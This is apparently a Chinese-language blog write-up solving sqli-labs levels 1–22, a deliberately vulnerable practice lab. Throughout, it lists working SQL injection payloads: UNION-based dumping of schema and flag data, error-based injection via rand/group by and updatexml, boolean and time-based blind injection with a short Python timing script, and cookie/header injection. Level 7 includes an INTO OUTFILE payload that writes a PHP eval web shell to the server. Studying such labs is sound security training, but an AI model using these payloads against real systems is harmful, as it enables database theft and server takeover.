注入的sql一直想寫來着的。之前數據庫課偷懶的我,留下了悔恨的眼淚。。。(後面看着太煩了就沒聽了)
Less-1
order by語句
order by(默認升序排列) 可以測試一下當前一共select了多少個字段
select * from user where username='1' ORDER BY 3 -- +'
union 聯合查詢語句
union前後的兩個sql語句的選擇列數要相同纔可以。Union all與union 的區別是增加了去重的功能。當id的數據在數據庫中不存在時,(此時我們可以id=-1,兩個sql語句進行聯合操作時,當前一個語句選擇的內容爲空,我們這裏就將後面的語句的內容顯示出來)此處前臺頁面返回了我們構造的union 的數據。
select * from user where username='-1' UNION select 1,version(),database() -- +
查詢版本號,數據庫名
數據庫名,利用information_schema.SCHEMATA
這個表
select * from user where username='-1' UNION select 1,group_concat(SCHEMA_NAME),4 FROM information_schema.SCHEMATA -- +'
查表,利用information_schema.TABLES
這個表
select * from user where username='-1' UNION select 1,group_concat(table_name),4 FROM information_schema.`TABLES` WHERE TABLE_SCHEMA='ctftraining' -- +'
報ctftraining數據庫的flag表的字段名
select * from user where username='-1' UNION select 1,group_concat(column_name),4 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='ctftraining' AND TABLE_NAME='flag' -- +'
查找ctftraining數據庫的flag表的flag字段的值
select * from user where username='-1' UNION select 1,group_concat(flag),4 FROM ctftraining.flag -- +'
less-2
1 ' -- +
發現報錯了,應該是應該是單引號影響了閉合。題目又說整數型報錯。
所以猜測語句爲:
$sql="select * from users where id='$id'";
所以不需要閉合直接用lesss-1的payload就行了,以防萬一註釋掉後面的內容
select * from user where username='-1' UNION select 1,group_concat(flag),4 FROM ctftraining.flag -- +'
less-3
簡單注入了一下看報錯
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'union select 1,2,3 -- ') LIMIT 0,1' at line 1
猜測語句:$sql="select * from users where id=('$id')";
所以只需要將括號閉合:
select * from user where username='-1') UNION select 1,group_concat(flag),4 FROM ctftraining.flag -- +'
less-4
單引號閉合之後發現沒有東西,然後嘗試雙引號閉合,發現報錯:
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'union select 1,version(),database() -- ") LIMIT 0,1' at line 1
應該是雙引號加括號,猜測語句:$sql="select * from users where id=("$id")";
所以將“
和)
閉合。
select * from user where username="-1") union select 1,group_concat(flag),4 FROM ctftraining.flag -- +'
less-5(無回顯報錯注入)
看到有一種盲註解法,不過我感覺後面應該能碰到就不學這個先
隨便注入一下,發現除了報錯輸出的都是YOU are in........
懷疑是無回顯,學習了詳細講解雙查詢注入,懂了一些纔敢往下寫= =。
Mysql報錯注入原理分析(count()、rand()、group by)
Mysql報錯注入原理分析(count()、rand()、group by)
參考這篇文章。
當count()、和rand、以及group by三者同時使用,產生報錯。
當rand()爲空值時,概率報錯。(必要條件:兩條數據以上)
而當rand(0)時,必定報錯(必要條件:三條數據以上)
利用回顯的報錯,來爆出數據庫以及表:
select * from user
where id= '-1'union select 1,2,3 from (select count(*),concat((select concat(schema_name)
from information_schema.schemata limit 0,1),floor(rand()*2)) as x
from information_schema.tables group by x)as a -- +
數據庫
rand()~~~隨機一個0-1的小數
floor()~~~取整
將在information_schema.schemata
這個數據庫表的schema_name字段(數據庫名)查出,然後把該字段的值拿去information_schema.tables
,然後利用count()、rand()、group by
共用產生報錯,來報錯獲取數據庫名。
limit n,1
更改n,來獲取之後的表(有概率失敗,多試幾次)。
可以使用and連接,記得加括號,不過我這邊用的是union
select * from user
where id= '-1'union select 1,2,3 from (select count(*),concat((select concat(schema_name)
from information_schema.schemata limit 0,1),floor(rand()*2)) as x
from information_schema.tables group by x)as a -- +
數據表
將information_schema.tables
裏面查出來的TABLE_NAME(數據表名),拿去查information_schema.columns
中的字段名,通過count()、rand()、group by
共用產生報錯,來獲取數據表名
select * from user
where id= '-1'union select 1,2,3 from (select count(*),concat((select concat(table_name)
from information_schema.tables limit 0,1),floor(rand()*2)) as x
from information_schema.columns group by x)as a -- +
字段名
將information_schema.COLUMNS
裏面查出來的flag數據表的column_name(字段名),拿去查information_schema.columns
,利用count()、rand()、group by
共用產生報錯,獲取字段名。
select * from user
where id= '-1'union select 1,2,3 from (select count(*),concat((select concat(column_name)
from information_schema.COLUMNS WHERE table_name='flag' limit 0,1),floor(rand(0)*2)) as x
from information_schema.columns group by x)as a -- +
查數據
將ctftraining.flag
裏面查出來的flag,拿到information_schema.tables
,利用count()、rand()、group by
共用產生報錯,獲取數據。雖然flag數據表中只有一條數據,實際上它查詢的時候是看information_schema.tables
中是否兩條以上。
select * from user
where id= '-1'union select 1,2,3 from (select count(*),concat((select concat(flag)
from ctftraining.flag limit 0,1),floor(rand(0)*2)) as x
from information_schema.tables group by x)as a -- +
less-6
單引號沒顯示,雙引號顯示了報錯。題目給的也是雙引號(據題原理看上題,講的很詳細了。如果沒懂可以通過聯繫方式聯繫我),利用上題payload:
select * from user
where id= "-1" union select 1,2,3 from (select count(*),concat((select concat(column_name)
from information_schema.COLUMNS WHERE table_name='flag' limit 0,1),floor(rand(0)*2)) as x
from information_schema.columns group by x)as a -- +
less-7
7是讓我們寫入文件,我也看到有別的辦法。不過我看網上利用註冊表來拿到絕對路徑信息。我感覺太麻煩了= =。記錄一下payload。以後遇到了再寫。
?id=1'))UNION SELECT 1,2,'<?php @eval($_post["mima"])?>' into outfile "絕對路徑\sqllib\\Less-7\\yijuhua.php"--+
less-8(布爾盲注)
這關報錯被註釋了,看有些人用的時間盲注,這邊準備學習布爾盲注。兩個盲注意思我都懂,但是不知道怎麼實現= =。沒事慢慢來~~~
具體講解可以看下面兩篇文章,因爲之前就瞭解過這個東西,所以也比較容易理解。
盲注是要寫腳本得,建議自己寫一下。我寫了個代碼,可以邊學邊參考。語句的話可以在本地搞搞自己的mysql。有些命令,命令行可以弄到,但是Navicat不行。總而言之就是多試試= =。別偷懶~~
less-9
這題是時間盲注,思路的話,大概就是查ascii碼,利用if語句和sleep()函數,正確的話直接返回,睡五秒鐘再返回,就相當於if,else,成立的話在你設定的時間之後返回,否則睡眠sleep(n),n秒鐘再返回
select * from user where id='1' and If(ascii(substr(database(),2,1))=102,1,sleep(5))--+
然後寫腳本的時候當我們每次嘗試注入的時候,先獲取當前的time,然後get(post)請求之後,查看返回的時間是否大於你設定的時間。
截一小段代碼意思一下好了。思路反正和布爾盲注是一樣的。都是盲注。
url = "http://2a18140a-af6e-46c4-b272-140b0d0fd6b5.node3.buuoj.cn/Less-8/?id=1"
target="'and if(ascii(substr(database(),2,1))=101,sleep(1.5),0)--+"
num=1.5
start_time = time.time()
r = requests.get(url)
end_time = time.time()
if end_time-start_time>=1.5:
print("成立")
break;
else:
print("不成立")
less-10
這題就是上面那題變成了雙引號注入
select * from user where id="1" and If(ascii(substr(database(),2,1))=102,1,sleep(5)) -- +
less-11
這題和less-1一樣,但是他是兩列,我一開始以爲是三列,然後order by了一下,發現是兩列,估計是username和password。
select * from user where username="-1" UNION select version(),database() -- + and password=("123456");
less-12
這題就變成了雙引號,加括號。
select * from user where username=("-1") UNION select version(),database() -- + and password=("123456");
less-13
這題就是單引號,加括號。
select * from user where username=('-1') UNION select version(),database() -- + and password=("123456");
less-14
這題就是純單引號。測試的時候可以多測試幾遍,或者看他報錯信息。
select * from user where username="1" UNION select version(),database() -- + and password=("123456");
less-15
這題就是單引號閉合,但是關閉了報錯和無回顯,可以用時間盲注或者布爾盲注。
類型的話和less-14一樣
less-16
這題就是雙引號加括號閉合,關閉了回顯和報錯,可以用時間盲注或者布爾盲注。
less-17
這題可以是更改密碼,但是前提是要知道賬號,看源碼可以發現題目中對username進行了驗證,所以只能再password來進行注入。
我這邊用的是and,再加count(*)、rand(0)、group by的報錯查詢注入。
1' and (select 1 from (select count(*),concat((select concat(table_name) from information_schema.tables limit 0,1),floor(rand(0)*2)) as x from information_schema.columns group by x)as a) -- +
另一種做法
利用updatexml來進行報錯信息注入
數據庫名:
uname=admin&passwd=' or updatexml(1,concat('#',(database())),0)--+
表名:
uname=admin&passwd=' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),0)--+
接下來模仿操作就行。
less-18
也利用上面的updatexml來進行報錯注入
' or updatexml(1,concat(0x7e,(database())),0))-- +
註釋之前多一個)閉合千萬別忘了,可以看看源碼
less-19
可以看到登陸成功後顯示Referer,判斷注入點在這。
我們看一下源碼:
if($row1){
echo '<font color= "#FFFF00" font size = 3 >';
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
mysql_query($insert);
//echo 'Your IP ADDRESS is: ' .$IP;
echo 'Your Referer is: ' .$uagent;
print_r(mysql_error());
echo '<img src="../images/flag.jpg" />';
}
less-20
看下源碼,發現應該是存在cookie注入的,登陸成功後會顯示你的個人信息。
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
$result=mysql_query($sql);
if (!$result){
die('Issue with your mysql: ' . mysql_error());
}
$row = mysql_fetch_array($result);
if($row){
echo '<font color= "pink" font size="5">';
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo '<font color= "grey" font size="5">';
echo 'Your Password:' .$row['password'];
echo "</font></b>";
echo "<br>";
echo 'Your ID:' .$row['id'];
}
代碼後半段發現會把cookie裏面的內容銜接進去查詢,所以我們可以在cookie裏面構造注入
讀取數據庫名:
cookie:' union select 1,2,group_concat(schema_name)from information_schema.schemata #
less-21
分析源碼會發現有一步解碼操作,也就是說我們要將cookie裏面的內容先轉成base64,注意下面的sql語句存在括號,所以要)
閉合(千萬別忘了)。
$cookee = base64_decode($cookee);
less-22
看源碼,多了一步雙引號包裹,懂我意思吧!
拖了半個月了終於解決了一個Page。。。。
ChenZIDu
參考
雙查詢注入
Mysql報錯注入原理分析(count()、rand()、group by)
MySQL updatexml報錯注入
Sqli-labs源碼